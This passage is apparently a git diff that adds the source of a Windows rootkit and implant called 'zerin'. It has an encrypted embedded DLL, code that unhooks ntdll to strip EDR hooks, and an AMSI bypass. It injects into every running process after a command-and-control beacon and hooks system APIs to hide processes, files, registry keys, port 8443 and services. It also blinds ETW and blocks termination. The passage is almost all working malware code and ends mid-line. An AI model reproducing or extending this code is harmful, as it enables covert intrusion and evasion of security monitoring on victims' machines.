0xFD, 0x5E, 0x61, + 0xF4, 0x6C, 0x9E, 0xC7, 0xDA, 0xF8, 0x07, 0xC6, 0x2E, 0xA8, 0x8F, 0x4C, 0x0E, 0x2D, 0x76, 0xD6, + 0xE9, 0x34, 0x62, 0x39, 0x79, 0xE3, 0x5A, 0x17, 0xE1, 0x52, 0x93, 0x5E, 0x41, 0x57, 0x87, 0xBB, + 0xCC, 0xFE, 0x8C, 0xB2, 0x70, 0xDD, 0x83, 0x4F, 0x5E, 0xE5, 0xBF, 0x23, 0x07, 0xBE, 0xFF, 0xAD, + 0x6B, 0x1D, 0x3D, 0x1E, 0xE1, 0x8F, 0x50, 0x3B, 0x54, 0x07, 0x7E, 0x25, 0x29, 0xC6, 0xA1, 0x91, + 0x4F, 0x0C, 0xC0, 0x0E, 0x5E, 0x6B, 0x21, 0xFC, 0x41, 0xB5, 0x83, 0xB6, 0x13, 0xC0, 0xB1, 0x9D, + 0xEA, 0x42, 0xF9, 0xEE, 0x09, 0xED, 0xF3, 0xD8, 0x07, 0xD3, 0x5D, 0xE0, 0x34, 0x55, 0x06, 0x2E, + 0x60, 0xF9, 0x17, 0x68, 0xFE, 0x73, 0x9F, 0xB1, 0x5D, 0xD6, 0x80, 0x38, 0x5B, 0x4A, 0xAD, 0xEA, + 0x76, 0xA4, 0x8F, 0xC6, 0x3D, 0x85, 0xE1, 0x5C, 0xAD, 0x9E, 0xC3, 0xF9, 0x4F, 0x69, 0x0E, 0xA5, + 0x35, 0x6E, 0x78, 0xFB, 0x41, 0x3A, 0x9B, 0xEB, 0x95, 0xAF, 0x91, 0xFB, 0xBD, 0xDD, 0x79, 0xC7, + 0x17, 0x26, 0xC5, 0x40, 0xF8, 0xA5, 0x20, 0xA9, 0x85, 0x0A, 0x1D, 0xD2, 0x56, 0x85, 0x9F, 0x9D, + 0xE7, 0x2F, 0xC6, 0xE4, 0xAD, 0x67, 0x38, 0x34, 0x55, 0xAD, 0x34, 0x33, 0x49, 0x49, 0xDF, 0x01, + 0xFF, 0xA0, 0x11, 0x47, 0xDE, 0x47, 0xDF, 0xB7, 0xA4, 0xEF, 0x3E, 0xE0, 0x97, 0xB4, 0x56, 0x1F, + 0x64, 0xD7, 0x7D, 0x27, 0x82, 0xF1, 0x2C, 0xF9, 0xF1, 0xE0, 0x21, 0x7E, 0xDA, 0xD8, 0x73, 0x17, + 0xB3, 0x85, 0xC8, 0xD5, 0x03, 0x9C, 0x36, 0x68, 0x93, 0x7F, 0x81, 0x3E, 0x87, 0xC5, 0xBA, 0x88, + 0x76, 0xEE, 0x51, 0x5E, 0xCC, 0x5D, 0x23, 0x8B, 0x7E, 0xFA, 0xF0, 0x32, 0x8D, 0xDE, 0xEA, 0x9E, + 0x9A, 0xC4, 0xAB, 0xFF, 0x3A, 0x77, 0xBA, 0x53, 0xA0, 0xAF, 0xE3, 0xA8, 0xD5, 0xB7, 0xED, 0xF8, + 0x1D, 0xA6, 0x3F, 0x5B, 0x0F, 0x43, 0x2E, 0xA9, 0xFE, 0xC3, 0xBE, 0xEA, 0xAD, 0x65, 0xB7, 0x07, + 0x7F, 0x66, 0x49, 0x6E, 0x32, 0xAE, 0xDB, 0x94, 0xEC, 0x4F, 0x66, 0x23, 0xFC, 0x8A, 0xBF, 0x3F, + 0x72, 0x22, 0xAF, 0xED, 0x88, 0xAF, 0xC4, 0x04, 0x20, 0x7D, 0xB6, 0x44, 0x7B, 0xDC, 0x69, 0x84, + 0x69, 0xAE, 0x22, 0x34, 0xBD, 0xD0, 0xD8, 0x19, 0x2C, 0x48, 0x44, 0x76, 0x27, 0xEF, 0x91, 0xF7, + 0x4D, 0x57, 0x04, 0x51, 0xFF, 0x83, 0xE5, 0x51, 0xBA, 0x9C, 0x56, 0xE2, 0xE8, 0xEC, 0x8D, 0xE8, + 0xF9, 0xD4, 0xEB, 0xBA, 0x2B, 0x04, 0x9B, 0x21, 0x28, 0xCD, 0xB2, 0xC7, 0x7F, 0x99, 0x7A, 0xC7, + 0xF6, 0x02, 0x3D, 0x92, 0x97, 0xD5, 0x76, 0x98, 0x46, 0xAE, 0x3B, 0x78, 0xE8, 0x35, 0x45, 0xB6, + 0x52, 0x1E, 0xBE, 0xEC, 0x51, 0x28, 0xF8, 0x37, 0xDE, 0xC4, 0xCC, 0x42, 0x51, 0x18, 0x96, 0xFB, + 0x15, 0x42, 0xC6, 0x0C, 0xD7, 0x53, 0xF4, 0xAB, 0xB5, 0xD2, 0x4F, 0xEC, 0x54, 0xD6, 0x87, 0x39, + 0x47, 0x3E, 0x7C, 0xF4, 0xFB, 0x30, 0xAA, 0xDF, 0x13, 0xCD, 0x81, 0xF3, 0x28, 0x69, 0x7E, 0x22, + 0x1F, 0x69, 0x25, 0xB1, 0x0D, 0x6A, 0x04, 0xD2, 0x9C, 0x90, 0x0A, 0x3D, 0x5F, 0x20, 0x13, 0x73, + 0xCB, 0x98, 0x77, 0x69, 0xF7, 0x3F, 0xD0, 0xA6, 0xE3, 0x73, 0xE9, 0x7D, 0xB4, 0x42, 0x23, 0xD5, + 0x3E, 0x4B, 0x54, 0xA8, 0x22, 0x1B, 0xC1, 0x92, 0x4E, 0x50, 0x60, 0x1C, 0xB3, 0xEB, 0x59, 0x81 +}; + +static const unsigned int RK_DLL_ENC_SIZE = 42496; + +#endif // RK_DLL_BYTES_H diff --git a/src/rootkit/rootkit.c b/src/rootkit/rootkit.c new file mode 100755 index 0000000..f52fe9b --- /dev/null +++ b/src/rootkit/rootkit.c @@ -0,0 +1,113 @@ +#include "zerin.h" +#include + +#ifdef _WIN32 + +#include "rootkit.h" + +volatile LONG g_rootkit_active = 0; +volatile LONG g_rootkit_injected_count = 0; + +// Forward declarations (defined in inject.c) +int rk_decrypt_dll(void); +void rk_wipe_dll(void); + +int rootkit_init(zerin_config_t *cfg) { + if (!cfg->rootkit_enabled) return 0; + +#ifdef _DEBUG + printf("[ROOTKIT] Initializing rootkit subsystems...\n"); +#endif + + // Phase 0: Decrypt the embedded rootkit DLL + int decrypt_result = rk_decrypt_dll(); +#ifdef _DEBUG + printf("[ROOTKIT] DLL decrypt: %s (code %d)\n", + decrypt_result == 0 ? "OK" : "FAILED", decrypt_result); +#endif + + if (decrypt_result != 0) { +#ifdef _DEBUG + printf("[ROOTKIT] Aborting — DLL decrypt failed\n"); +#endif + return decrypt_result; + } + + // Phase 1: Unhook ntdll to remove EDR hooks + int unhook_result = rootkit_unhook_ntdll(); +#ifdef _DEBUG + printf("[ROOTKIT] ntdll unhook: %s (code %d)\n", + unhook_result == 0 ? "OK" : "FAILED", unhook_result); +#endif + + // Phase 2: Bypass AMSI in our own process + int amsi_result = rootkit_bypass_amsi(); +#ifdef _DEBUG + printf("[ROOTKIT] AMSI bypass: %s (code %d)\n", + amsi_result == 0 ? "OK" : "skipped/failed", amsi_result); +#endif + + // NOTE: Injection is deferred until after the first successful beacon. + // This ensures the agent can connect before spending time injecting + // into other processes. Call rootkit_start_injection() after checkin. + + InterlockedExchange(&g_rootkit_active, 1); +#ifdef _DEBUG + printf("[ROOTKIT] Rootkit active (injection deferred until after checkin)\n"); +#endif + return 0; +} + +// Background thread: inject into all running processes, then start the +// process monitor. Runs asynchronously so the beacon loop isn't blocked. +static DWORD WINAPI injection_thread_proc(LPVOID param) { + (void)param; + + // Brief delay to let the beacon loop start first — the agent should + // be actively beaconing before we spend time injecting. + Sleep(2000); + + int count = rootkit_inject_all(); +#ifdef _DEBUG + printf("[ROOTKIT] Injected into %d processes\n", count); +#endif + + // Start shared memory listener (primary — instant NtResumeThread notifications) + rootkit_start_shm_listener(); + + // Start polling monitor (fallback — catches processes from unhooked parents) + rootkit_start_monitor(); + + return (DWORD)count; +} + +int rootkit_start_injection(void) { + if (!InterlockedCompareExchange(&g_rootkit_active, 1, 1)) return -1; + +#ifdef _DEBUG + printf("[ROOTKIT] Starting process injection (background)...\n"); +#endif + + // Launch injection in a background thread so the beacon loop + // can start immediately. Without this, inject_all() blocks the + // main thread for 10-30+ seconds and the server marks us dead. + HANDLE hThread = CreateThread(NULL, 0, injection_thread_proc, NULL, 0, NULL); + if (hThread) { + CloseHandle(hThread); // Detach — let it run independently + } + + return 0; +} + +void rootkit_cleanup(void) { + if (!InterlockedCompareExchange(&g_rootkit_active, 1, 1)) return; + rootkit_stop_shm_listener(); + rootkit_stop_monitor(); + rk_wipe_dll(); + InterlockedExchange(&g_rootkit_active, 0); +} + +// Phase 3 injection engine, process monitor, and status reporting +// are implemented in inject.c + +#endif // _WIN32 diff --git a/src/rootkit/unhook.c b/src/rootkit/unhook.c new file mode 100755 index 0000000..43b2851 --- /dev/null +++ b/src/rootkit/unhook.c @@ -0,0 +1,206 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include "rootkit.h" +#include "syscalls.h" +#include +#include + +typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +/* + * rootkit_unhook_ntdll — replace ntdll .text section with a clean copy + * + * Instead of reading ntdll.dll from disk (CreateFileA on + * C:\Windows\System32\ntdll.dll — a well-known EDR detection signature), + * we use NtOpenSection on \KnownDlls\ntdll.dll. This reads the + * kernel-cached section object which is always a pristine copy of the + * DLL, and avoids file-system I/O that EDRs can intercept. + * + * Fallback: if KnownDlls fails (e.g. older Windows), fall back to disk. + */ + +/* NT API typedefs — resolved at runtime to avoid import table signatures */ +typedef NTSTATUS (NTAPI *pNtOpenSection)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes +); + +typedef NTSTATUS (NTAPI *pNtMapViewOfSection)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + ULONG InheritDisposition, /* 1 = ViewShare, 2 = ViewUnmap */ + ULONG AllocationType, + ULONG Win32Protect +); + +typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)( + HANDLE ProcessHandle, + PVOID BaseAddress +); + +typedef NTSTATUS (NTAPI *pNtClose)(HANDLE Handle); + +/* Try to map a clean ntdll via \KnownDlls\ section. + * Returns mapped base (memory-layout, not file-layout) or NULL. */ +static LPBYTE map_knowndlls_ntdll(HANDLE *out_section) { + char ntdll_buf[32]; + obf_decrypt_to(OBF_NTDLL, ntdll_buf, sizeof(ntdll_buf)); + HMODULE hNtdll = GetModuleHandleA(ntdll_buf); + obf_wipe(ntdll_buf, sizeof(ntdll_buf)); + if (!hNtdll) return NULL; + + pNtOpenSection fnOpen = (pNtOpenSection)GetProcAddress(hNtdll, "NtOpenSection"); + pNtMapViewOfSection fnMap = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection"); + if (!fnOpen || !fnMap) return NULL; + + /* Build OBJECT_ATTRIBUTES for \KnownDlls\ntdll.dll */ + UNICODE_STRING objName; + objName.Length = (USHORT)(wcslen(L"\\KnownDlls\\ntdll.dll") * sizeof(WCHAR)); + objName.MaximumLength = objName.Length + sizeof(WCHAR); + objName.Buffer = L"\\KnownDlls\\ntdll.dll"; + + OBJECT_ATTRIBUTES oa; + memset(&oa, 0, sizeof(oa)); + oa.Length = sizeof(oa); + oa.ObjectName = &objName; + + HANDLE hSection = NULL; + NTSTATUS status = fnOpen(&hSection, SECTION_MAP_READ, &oa); + if (status != 0 || !hSection) + return NULL; + + PVOID baseAddr = NULL; + SIZE_T viewSize = 0; + status = fnMap(hSection, GetCurrentProcess(), &baseAddr, 0, 0, + NULL, &viewSize, 1 /* ViewShare */, 0, PAGE_READONLY); + if (status != 0 || !baseAddr) { + pNtClose fnClose = (pNtClose)GetProcAddress(hNtdll, "NtClose"); + if (fnClose) fnClose(hSection); + return NULL; + } + + *out_section = hSection; + return (LPBYTE)baseAddr; +} + +/* Overwrite the .text section of the in-memory ntdll with a clean copy. + * cleanBase can be either a memory-mapped image (from KnownDlls) or a + * file buffer (from disk fallback). isMemoryLayout controls whether + * section data is at VirtualAddress (mapped) or PointerToRawData (file). */ +static int overwrite_text_section(LPBYTE ntdllBase, LPBYTE cleanBase, BOOL isMemoryLayout) { + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanBase; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return -1; + + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(cleanBase + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return -1; + + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { + if (memcmp(section[i].Name, ".text", 5) == 0) { + LPVOID textAddr = ntdllBase + section[i].VirtualAddress; + SIZE_T textSize = section[i].Misc.VirtualSize; + if (textSize == 0) textSize = section[i].SizeOfRawData; + + /* Source offset depends on layout type */ + DWORD srcOffset = isMemoryLayout + ? section[i].VirtualAddress + : section[i].PointerToRawData; + LPBYTE cleanText = cleanBase + srcOffset; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) return -1; + DWORD oldProtect; + if (pVP(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { + memcpy(textAddr, cleanText, textSize); + pVP(textAddr, textSize, oldProtect, &oldProtect); + return 0; + } + return -1; + } + } + return -1; +} + +int rootkit_unhook_ntdll(void) { + /* Get the in-memory (possibly hooked) ntdll base via PEB walking */ + LPBYTE ntdllBase = (LPBYTE)get_module_by_hash(HASH_NTDLL); + if (!ntdllBase) return -1; + + /* === Primary: KnownDlls section mapping (no file I/O, stealthier) === */ + HANDLE hSection = NULL; + LPBYTE cleanMapped = map_knowndlls_ntdll(&hSection); + if (cleanMapped) { + int result = overwrite_text_section(ntdllBase, cleanMapped, TRUE); + + /* Unmap and close */ + char ntdll_buf2[32]; + obf_decrypt_to(OBF_NTDLL, ntdll_buf2, sizeof(ntdll_buf2)); + HMODULE hNtdll = GetModuleHandleA(ntdll_buf2); + obf_wipe(ntdll_buf2, sizeof(ntdll_buf2)); + pNtUnmapViewOfSection fnUnmap = (pNtUnmapViewOfSection) + GetProcAddress(hNtdll, "NtUnmapViewOfSection"); + pNtClose fnClose = (pNtClose)GetProcAddress(hNtdll, "NtClose"); + if (fnUnmap) fnUnmap(GetCurrentProcess(), cleanMapped); + if (fnClose) fnClose(hSection); + +#ifdef _DEBUG + printf("[ROOTKIT] ntdll unhook via KnownDlls: %s\n", + result == 0 ? "OK" : "FAILED (falling back to disk)"); +#endif + if (result == 0) return 0; + } + + /* === Fallback: read from disk (compatible with older Windows) === */ + char ntdll_path[64]; + obf_decrypt_to(OBF_NTDLL_PATH, ntdll_path, sizeof(ntdll_path)); + HANDLE hFile = CreateFileA( + ntdll_path, + GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + obf_wipe(ntdll_path, sizeof(ntdll_path)); + if (hFile == INVALID_HANDLE_VALUE) return -1; + + DWORD fileSize = GetFileSize(hFile, NULL); + if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { + CloseHandle(hFile); + return -1; + } + + typedef LPVOID (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); + typedef BOOL (WINAPI *PFN_VirtualFree)(LPVOID, SIZE_T, DWORD); + PFN_VirtualAlloc pVA = RESOLVE_API(HASH_KERNEL32, HASH_VirtualAlloc, PFN_VirtualAlloc); + PFN_VirtualFree pVF = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFree, PFN_VirtualFree); + if (!pVA || !pVF) { + CloseHandle(hFile); + return -1; + } + + LPBYTE fileBuffer = (LPBYTE)pVA(NULL, fileSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!fileBuffer) { + CloseHandle(hFile); + return -1; + } + + DWORD bytesRead = 0; + if (!ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { + pVF(fileBuffer, 0, MEM_RELEASE); + CloseHandle(hFile); + return -1; + } + CloseHandle(hFile); + + int result = overwrite_text_section(ntdllBase, fileBuffer, FALSE); + pVF(fileBuffer, 0, MEM_RELEASE); + return result; +} + +#endif // _WIN32 diff --git a/src/rootkit_dll/config.h b/src/rootkit_dll/config.h new file mode 100755 index 0000000..b8e978d --- /dev/null +++ b/src/rootkit_dll/config.h @@ -0,0 +1,72 @@ +#ifndef ZERIN_RK_CONFIG_H +#define ZERIN_RK_CONFIG_H + +#include + +// Process names to hide from Task Manager, tasklist, etc. +static const wchar_t *HIDE_PROCESSES[] = { L"zerin.exe", L"ZerinUpdate.exe", NULL }; + +// File/directory names to hide from Explorer, dir, etc. +static const wchar_t *HIDE_FILES[] = { L"zerin.exe", L"ZerinUpdate.exe", NULL }; + +// Registry value names to hide +static const wchar_t *HIDE_REG_VALUES[] = { L"ZerinUpdate", NULL }; + +// Registry subkey names to hide +static const wchar_t *HIDE_REG_KEYS[] = { L"ZerinMaintenance", L"ZerinSvc", NULL }; + +// TCP ports to hide from netstat (local or remote) +static const unsigned short HIDE_TCP_PORTS[] = { 8443, 0 }; + +// UDP ports to hide from netstat +static const unsigned short HIDE_UDP_PORTS[] = { 8443, 0 }; + +// Service names/display names to hide +static const wchar_t *HIDE_SERVICES[] = { L"ZerinSvc", L"Zerin Maintenance Service", NULL }; + +// Shared memory IPC for NtResumeThread child-process notification +#define RK_SHM_NAME L"Local\\ZerinRkShm" +#define RK_EVT_NAME L"Local\\ZerinRkEvt" +#define RK_SHM_RING_SIZE 256 + +typedef struct _RK_SHM { + volatile LONG write_idx; // next write slot (atomic, lock-free) + volatile LONG read_idx; // next read slot (agent-side only) + DWORD pids[RK_SHM_RING_SIZE]; // ring buffer of child PIDs + // Dynamic hiding config (written by agent, read by DLL hooks) + volatile DWORD hide_pid; // agent's own PID (0 = not set) + wchar_t hide_exe_name[260]; // agent's exe filename (just filename, not path) +} RK_SHM, *PRK_SHM; + +// Helper: check if a wide string matches any entry in a null-terminated array (case-insensitive filename match) +static inline BOOL rk_match_name(const wchar_t *name, const wchar_t *const *list) { + if (!name || !name[0]) return FALSE; + for (int i = 0; list[i] != NULL; i++) { + if (_wcsicmp(name, list[i]) == 0) return TRUE; + } + return FALSE; +} + +// Helper: check if a path ends with any hidden filename +static inline BOOL rk_match_path(const wchar_t *path, const wchar_t *const *list) { + if (!path || !path[0]) return FALSE; + // Find last backslash + const wchar_t *fname = path; + const wchar_t *p = path; + while (*p) { + if (*p == L'\\' || *p == L'/') fname = p + 1; + p++; + } + return rk_match_name(fname, list); +} + +// Helper: check if port is in hidden list +static inline BOOL rk_match_port(unsigned short port, const unsigned short *list) { + if (port == 0) return FALSE; + for (int i = 0; list[i] != 0; i++) { + if (port == list[i]) return TRUE; + } + return FALSE; +} + +#endif // ZERIN_RK_CONFIG_H diff --git a/src/rootkit_dll/dllmain.c b/src/rootkit_dll/dllmain.c new file mode 100755 index 0000000..20eaf48 --- /dev/null +++ b/src/rootkit_dll/dllmain.c @@ -0,0 +1,166 @@ +/* + * dllmain.c - Rootkit DLL entry point + * + * Initializes MinHook and installs all API hooks on DLL_PROCESS_ATTACH, + * then tears them down on DLL_PROCESS_DETACH. + * + * r77-style "already injected" guard: + * On attach, we check a 2-byte signature at offset 40 in the host + * process's DOS header. If our signature (0x7270 = "rp" for rootkit- + * zerin) is already present, DllMain returns FALSE — signaling the + * injector that this process is already hooked. The injector then + * cleans up the remote allocation. + * + * A vectored exception handler (VEH) is installed to catch any access + * violations within our hook code and prevent crashing the host process. + */ + +#include +#include "MinHook.h" + +/* Forward declarations (implemented in hooks.c) */ +void InitializeHooks(void); +void UninitializeHooks(void); + +/* -------------------------------------------------------------------------- + * Already-injected signature (r77-style DOS header stamp) + * + * The DOS header has reserved/unused fields starting at offset 0x28 (40). + * We write a 2-byte magic value there on first injection. On subsequent + * injection attempts, we detect it and bail out (return FALSE). + * + * This is the same technique r77 uses (R77_HEADER_OFFSET = 40). + * -------------------------------------------------------------------------- */ +#define ZERIN_RK_SIGNATURE 0x7270 /* "rp" — rootkit-zerin */ +#define ZERIN_RK_HEADER_OFF 40 /* byte offset in DOS header */ + +/* VEH handler — catch access violations in our hooks */ +static PVOID g_VehHandle = NULL; + +/* DLL base and size, set during DLL_PROCESS_ATTACH */ +static HMODULE g_DllModule = NULL; +static SIZE_T g_DllSize = 0; + +static LONG CALLBACK VehHandler(PEXCEPTION_POINTERS info) { + if (info->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && g_DllModule) { + /* Check if the faulting address is within our DLL's code range. + * If so, force-return from the faulting function to prevent + * crashing the host process. */ + ULONG_PTR fault_addr = (ULONG_PTR)info->ExceptionRecord->ExceptionAddress; + ULONG_PTR dll_base = (ULONG_PTR)g_DllModule; + + if (fault_addr >= dll_base && fault_addr < dll_base + g_DllSize) { + /* Validate stack pointer is readable before dereferencing to + * avoid a secondary exception if the stack is corrupted */ + MEMORY_BASIC_INFORMATION mbi; +#ifdef _WIN64 + ULONG_PTR sp = info->ContextRecord->Rsp; +#else + ULONG_PTR sp = info->ContextRecord->Esp; +#endif + if (VirtualQuery((LPCVOID)sp, &mbi, sizeof(mbi)) < sizeof(mbi) || + mbi.State != MEM_COMMIT || + !(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | + PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE))) { + return EXCEPTION_CONTINUE_SEARCH; + } +#ifdef _WIN64 + info->ContextRecord->Rax = 0; + info->ContextRecord->Rip = *(ULONG_PTR *)info->ContextRecord->Rsp; + info->ContextRecord->Rsp += sizeof(ULONG_PTR); +#else + info->ContextRecord->Eax = 0; + info->ContextRecord->Eip = *(ULONG_PTR *)info->ContextRecord->Esp; + info->ContextRecord->Esp += sizeof(ULONG_PTR); +#endif + return EXCEPTION_CONTINUE_EXECUTION; + } + } + return EXCEPTION_CONTINUE_SEARCH; +} + +/* -------------------------------------------------------------------------- + * check_and_write_signature — r77-style double-injection guard + * + * Reads the 2-byte value at offset 40 of the host EXE's DOS header. + * If it already matches ZERIN_RK_SIGNATURE, returns FALSE (already + * injected). Otherwise writes the signature and returns TRUE. + * + * Uses double-check pattern (check → VirtualProtect → check again) + * to mitigate race conditions from concurrent injection attempts. + * -------------------------------------------------------------------------- */ +static BOOL check_and_write_signature(void) { + LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); + if (!module) return TRUE; /* Can't check — proceed anyway */ + + LPWORD sig_ptr = (LPWORD)&module[ZERIN_RK_HEADER_OFF]; + + /* First check (before changing protection) */ + if (*sig_ptr == ZERIN_RK_SIGNATURE) { + return FALSE; /* Already injected */ + } + + /* Make the region writable */ + DWORD old_protect; + if (!VirtualProtect(sig_ptr, sizeof(WORD), PAGE_READWRITE, &old_protect)) { + return TRUE; /* Can't write signature — proceed anyway, hooks will just stack */ + } + + /* Second check (after protection change) to mitigate race */ + if (*sig_ptr == ZERIN_RK_SIGNATURE) { + VirtualProtect(sig_ptr, sizeof(WORD), old_protect, &old_protect); + return FALSE; /* Another thread beat us */ + } + + /* Write our signature */ + *sig_ptr = ZERIN_RK_SIGNATURE; + + /* Restore original protection */ + VirtualProtect(sig_ptr, sizeof(WORD), old_protect, &old_protect); + + return TRUE; /* First injection — proceed */ +} + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) { + (void)reserved; + + if (reason == DLL_PROCESS_ATTACH) { + DisableThreadLibraryCalls(hModule); + + /* Check if this process is already injected (r77-style stamp) */ + if (!check_and_write_signature()) { + return FALSE; /* Already hooked — injector will see exit code 0 and clean up */ + } + + /* Cache DLL module base and size for VEH range checking */ + g_DllModule = hModule; + { + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule; + if (dos->e_magic == IMAGE_DOS_SIGNATURE && + dos->e_lfanew >= (LONG)sizeof(IMAGE_DOS_HEADER) && + dos->e_lfanew < 0x10000000) { + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + dos->e_lfanew); + if (nt->Signature == IMAGE_NT_SIGNATURE) + g_DllSize = nt->OptionalHeader.SizeOfImage; + } + if (g_DllSize == 0) g_DllSize = 0x100000; /* 1MB fallback */ + } + + /* Install VEH as safety net */ + g_VehHandle = AddVectoredExceptionHandler(0, VehHandler); + + if (MH_Initialize() == MH_OK) { + InitializeHooks(); + } + } else if (reason == DLL_PROCESS_DETACH) { + UninitializeHooks(); + MH_Uninitialize(); + + if (g_VehHandle) { + RemoveVectoredExceptionHandler(g_VehHandle); + g_VehHandle = NULL; + } + } + + return TRUE; +} diff --git a/src/rootkit_dll/hooks.c b/src/rootkit_dll/hooks.c new file mode 100755 index 0000000..91dcb6c --- /dev/null +++ b/src/rootkit_dll/hooks.c @@ -0,0 +1,1414 @@ +/* + * hooks.c - Rootkit DLL hook implementations (adapted from r77 rootkit) + * + * Hooks 9 NT/Win32 APIs using MinHook for inline hooking: + * 1. NtQuerySystemInformation - Process hiding + * 2. NtQueryDirectoryFile - File/directory hiding + * 3. NtQueryDirectoryFileEx - File/directory hiding (Win10+) + * 4. NtEnumerateKey - Registry subkey hiding + * 5. NtEnumerateValueKey - Registry value hiding + * 6. NtDeviceIoControlFile - TCP/UDP port hiding (NSI) + * 7. EnumServicesStatusExW - Service hiding + * 8. AmsiScanBuffer - AMSI bypass + * 9. NtResumeThread - Child process injection notification + * 10. NtOpenProcess - Kill protection (strip PROCESS_TERMINATE) + */ + +#include +#include +#include +#include +#include "MinHook.h" +#include "hooks.h" +#include "config.h" + +/* ============================================================================ + * Original function pointers (filled by MH_CreateHook) + * ============================================================================ */ + +static pfnNtQuerySystemInformation OriginalNtQuerySystemInformation = NULL; +static pfnNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; +static pfnNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; +static pfnNtEnumerateKey OriginalNtEnumerateKey = NULL; +static pfnNtEnumerateValueKey OriginalNtEnumerateValueKey = NULL; +static pfnNtDeviceIoControlFile OriginalNtDeviceIoControlFile = NULL; +static pfnEnumServicesStatusExW OriginalEnumServicesStatusExW_Advapi32 = NULL; +static pfnEnumServicesStatusExW OriginalEnumServicesStatusExW_Sechost = NULL; +static pfnAmsiScanBuffer OriginalAmsiScanBuffer = NULL; +static pfnNtResumeThread OriginalNtResumeThread = NULL; +static pfnNtOpenProcess OriginalNtOpenProcess = NULL; + +/* ETW blinding */ +typedef ULONG (NTAPI *pfnEtwEventWrite)(PVOID RegHandle, PVOID EventDescriptor, ULONG UserDataCount, PVOID UserData); +static pfnEtwEventWrite OriginalEtwEventWrite = NULL; + +/* We also need NtQueryKey for registry key name resolution */ +static pfnNtQueryKey OrigNtQueryKey = NULL; + +/* Forward declarations for shared memory (defined further below, used in hooks) */ +static HANDLE g_RkHookShmHandle; +static HANDLE g_RkHookEvtHandle; +static PRK_SHM g_RkHookShm; +static volatile LONG g_RkShmInitLock = 0; /* spinlock for lazy SHM init */ + +/* ============================================================================ + * Registry enumeration index tracking (r77 O(N) approach) + * + * When NtEnumerateKey/NtEnumerateValueKey are called with incrementing + * indices, we track how many entries we've hidden so far for each key + * handle to adjust the index passed to the original function. + * + * NOTE: We use process-wide static storage instead of __thread (TLS) + * because this DLL is reflectively loaded, and the OS does not + * initialize TLS slots for reflectively-loaded DLLs. Using __thread + * would access uninitialized memory and crash the process. + * + * Access is serialized with a CRITICAL_SECTION since multiple threads + * may enumerate registry keys concurrently. + * ============================================================================ */ + +#define REG_CACHE_MAX 64 + +typedef struct _REG_CACHE_ENTRY { + HANDLE KeyHandle; + ULONG OriginalIndex; + ULONG HiddenCount; + DWORD ThreadId; // Track which thread owns this cache entry +} REG_CACHE_ENTRY; + +static REG_CACHE_ENTRY g_RegKeyCache[REG_CACHE_MAX]; +static int g_RegKeyCacheCount = 0; +static REG_CACHE_ENTRY g_RegValueCache[REG_CACHE_MAX]; +static int g_RegValueCacheCount = 0; +static CRITICAL_SECTION g_RegCacheLock; +static BOOL g_RegCacheLockInit = FALSE; + +static volatile LONG g_RegCacheLockInitFlag = 0; + +static void EnsureRegCacheLockInit(void) { + if (g_RegCacheLockInit) return; /* Fast path: already initialized */ + if (InterlockedCompareExchange(&g_RegCacheLockInitFlag, 1, 0) == 0) { + InitializeCriticalSection(&g_RegCacheLock); + MemoryBarrier(); /* Ensure CS init is visible before flag */ + InterlockedExchange((volatile LONG *)&g_RegCacheLockInit, TRUE); + } + /* Spin until the winning thread finishes InitializeCriticalSection */ + while (!g_RegCacheLockInit) { Sleep(0); } +} + +/* ============================================================================ + * Helper: Get registry key full path from handle using NtQueryKey + * ============================================================================ */ + +static BOOL GetRegistryKeyName(HANDLE hKey, LPWSTR buffer, ULONG bufferSize) { + if (!OrigNtQueryKey) return FALSE; + + /* KeyNameInformation = 3 */ + ULONG needed = 0; + NTSTATUS status = OrigNtQueryKey(hKey, (NT_KEY_INFORMATION_CLASS)3, NULL, 0, &needed); + if (needed == 0 || needed > 65536) return FALSE; + + BYTE *info = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed); + if (!info) return FALSE; + + status = OrigNtQueryKey(hKey, (NT_KEY_INFORMATION_CLASS)3, info, needed, &needed); + if (status != 0) { + HeapFree(GetProcessHeap(), 0, info); + return FALSE; + } + + /* NT_KEY_NAME_INFORMATION: ULONG NameLength, WCHAR Name[] */ + PNT_KEY_NAME_INFORMATION nameInfo = (PNT_KEY_NAME_INFORMATION)info; + ULONG nameLen = nameInfo->NameLength / 